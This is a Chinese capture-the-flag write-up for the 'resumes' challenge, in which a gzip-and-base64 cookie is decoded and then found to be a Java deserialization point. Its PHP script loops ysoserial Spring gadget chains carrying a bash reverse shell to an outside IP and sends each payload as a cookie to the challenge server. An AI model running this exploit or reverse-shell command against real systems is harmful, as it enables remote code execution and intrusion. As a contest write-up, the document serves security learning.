0%

强网杯个人赛-resumes-Writeup

强网杯个人赛-resumes-Writeup

  • 题目提示70亿次,应该读取到第70亿就可以得到flag,测试发现GET请求就会返回下一个简历的Cookie
image-20211013003101368

Cookie解密

  • 百度发现H4SIAAAAA开头的BASE64都是base64编码Gzip之后的结果。
image-20211013003342287
  • 于是逆过来解码,发现最后一位十六进制就是当前简历位数。脚本解码保存到文件010修改,再次编码即可。
<?php
$flag = "H4sIAAAAAAAAAFvzloG1uIhBNzk/V68otbg0N7UYg87NT0nN0QsC85zzS/NKgt9/nfvHul6ZiYHRi4G1LDGnNLWigAECtADGk+TeUgAAAA==";
$flag = base64_decode($flag);
file_put_contents("flag", gzdecode($flag));
?>
image-20211013003616352
  • 得到一半的FLAG
image-20211013003702309
  • 下一步提示在/opt中,这指定是要Getshe l l,cookie就是一个java序列化之后的结果,我们直接在cookie处进行反序列化。由于不知道是哪条链随便用ysoserial整了个gadget出来打发现可以识别出来模块,说明就是这里反序列化没跑了。
image-20211013004016802
  • 写了个脚本之家爆破链即可:
image-20211013004148162
  • Dnslog接收到信息
image-20211013004409047
<?php
//$flag = "H4sIAAAAAAAAAFvzloG1uIhBNzk/V68otbg0N7UYg87NT0nN0QsC85zzS/NKgt9/nfvHul6ZiYHRi4G1LDGnNLWigAECtADGk+TeUgAAAA==";
//$flag = base64_decode($flag);
//file_put_contents("flag", gzdecode($flag));

$a = ['Spring1','Spring2'];
for($i=0;$i<count($a);$i++){
    unlink('payload.bin');
    @shell_exec(sprintf("java -jar ysoserial.jar %s bash 'bash -i >& /dev/tcp/39.107.126.173/1080 0>&1'> payload.bin",$a[$i]));
    $cookie = base64_encode(gzencode(file_get_contents('payload.bin')));
     echo geturl($cookie)."\n\n\n\n\n";
}


function geturl($cookie){
        $headerArray =array("Content-type:application/json;","Accept:application/json","Cookie: counter=$cookie");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://124.71.156.217:32770");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
        $output = curl_exec($ch);
        curl_close($ch);
        $output = $output;
        return $output;
}
?>
  • 反弹shell后得到另一半FLAG

image-20211013005349598